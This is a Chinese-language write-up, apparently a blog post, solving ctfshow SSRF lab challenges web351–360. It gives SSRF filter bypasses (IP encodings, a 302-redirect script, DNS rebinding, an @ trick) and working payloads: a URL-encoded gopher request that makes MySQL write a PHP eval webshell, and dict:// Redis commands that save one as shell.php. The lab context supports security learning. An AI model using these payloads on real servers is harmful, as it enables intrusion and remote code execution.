ctfshow SSRF web351~360

ctfshow SSRF web351~360

web 351

知识点:http伪协议访问内网文件

用http伪协议访问内网的flag.php,或者利用file伪协议读取flag.php的源码。

url=http://127.0.0.1/flag.php
或者看源码
url=file:///var/www/html/flag.php

这边能读用http获取到flag完全是因为,flag.php把flag用echo输出来了,如果没有这个echo是读不到flag的。

在这里插入图片描述

web 352

url=http://127.0.0.1/flag.php

web 353

知识点:ip进制转换,ip缩写,用0

过滤了一些东西,但不多,可以把ip转换为十进制、十六进制等等,也可以缩写ip。(ip地址转换)
或者用0代替localhost,0.0.0.0也一样。

if(!preg_match('/localhost|127\.0\.|\。/i', $url))

payload:

url=http://127.1/flag.php
或者
url=http://2130706433/flag.php
url=http://0x7F000001/flag.php
或者
url=http://0/flag.php

web 354

知识点:修改域名的A记录、302跳转,dns重绑定

可以修改自己域名的A记录为127.0.0.1(也就是说当我们访问域名时会把我们引入设置的A记录,这里就是127.0.0.1,感觉就像给域名重起了个名字),这样在访问我们域名的时候会自动跳转到127.0.0.1/flag.php

url=http://sudo.cc/flag.php

在这里插入图片描述

或者在自己的vps上搭一个302跳转:

<?php
//302.php
header("Location: http://127.0.0.1/flag.php");

然后访问:这样题目的服务器访问我们的302.php的时候会自动跳转到它本地的flag.php。

url=http://地址/302.php

web 355

url=http://0/flag.php

web 356

url=http://0/flag.php

web 357

知识点:DNS重绑定

题目要求ip要是ipv4或v6,否则die,可以用DNS重绑定(借助:http://ceye.io/)

在这里插入图片描述

多访问几次就可以了。
在这里插入图片描述

也可以302跳转。

web 358

规定以http://ctf.开头,show结尾,可以用@绕过。

preg_match('/^http:\/\/ctf\..*show$/i',$url)
url=http://ctf.@localhost/flag.php?show

web 359

提示mysql无密码,那目的很明显就是利用gopher伪协议打sql写shell文件,最后的gopher协议要url编码。

在这里插入图片描述

returl=gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254f%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2570%2568%2570%2569%256e%2566%256f%2528%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501&u=root@qq.com

在这里插入图片描述

web 360

利用gopher写webshell

在这里插入图片描述

flag:
在这里插入图片描述

redis未经授权访问

参考:https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html
还有bit爷的讲解

这个姿势是从来没见过的,所以看了很多文章了解,对于redis的攻击方式有很多,这边先学一下未经授权访问,其他的姿势等几天搭个环境,边学边做。

先了解一下什么是redis,redis算是个数据库,个人感觉像个有备份和缓存功能的存储器,它数据主要存储在内存中,没错就和session一样,当然redis数据也会存在硬盘里,如果它不能存在硬盘里,那么我们也就无法利用shell文件去获取flag了,巧的是redis可以利用save随时把当前数据存入硬盘,这就得提一下持久化运作的方案,其中有两个重要的点,一个叫RDB,相当于数据库备份,一个叫AOF,作用和日志文件差不多。我们可以指定规定的时间,或者指定更改的次数时备份,生成RDB文件。设置AOF,当我们操作后,或备份后,可以将‘日志’写入一个文件的末尾,操作越多,AOF文件越大。

那么我们不就可以利用save把当前数据存入硬盘,还可以控制生成的RDB文件的名字,又能通过AOF,把我们想写的写入一个文件,这不就可以任意文件写入了。

redis未经授权访问利用前提:
1、相关web服务开启,例如端口开放。
2、知道网页的路径。

就这题来说:

当然手测之前先看一下服务开没开,一般redis的默认端口时6379,这题开了。

在这里插入图片描述

在看一下可不可以登录,要不要验证
在这里插入图片描述

最后写shell:

设置redis的工作目录:
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
设置RDB文件名字:
url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php
设置一个变量webshell并赋值<?php eval($_POST[1]);phpinfo();?>
url=dict://127.0.0.1:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x29\x3b\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
save保存
url=dict://127.0.0.1:6379/save

访问shell.php:

在这里插入图片描述

相关题目

代码审计篇也有相关的ssrf题目

https://blog.csdn.net/shinygod/article/details/126995090

ssrf学习文章

SSRF漏洞原理攻击与防御:https://blog.csdn.net/qq_43378996/article/details/124050308
SSRF的利用方式:https://blog.csdn.net/qq_50854790/article/details/121174712

参考wp

https://blog.csdn.net/miuzzx/article/details/111992415
                       

点击阅读全文

上一篇 2023年 5月 28日 am10:23
下一篇 2023年 5月 28日 am10:23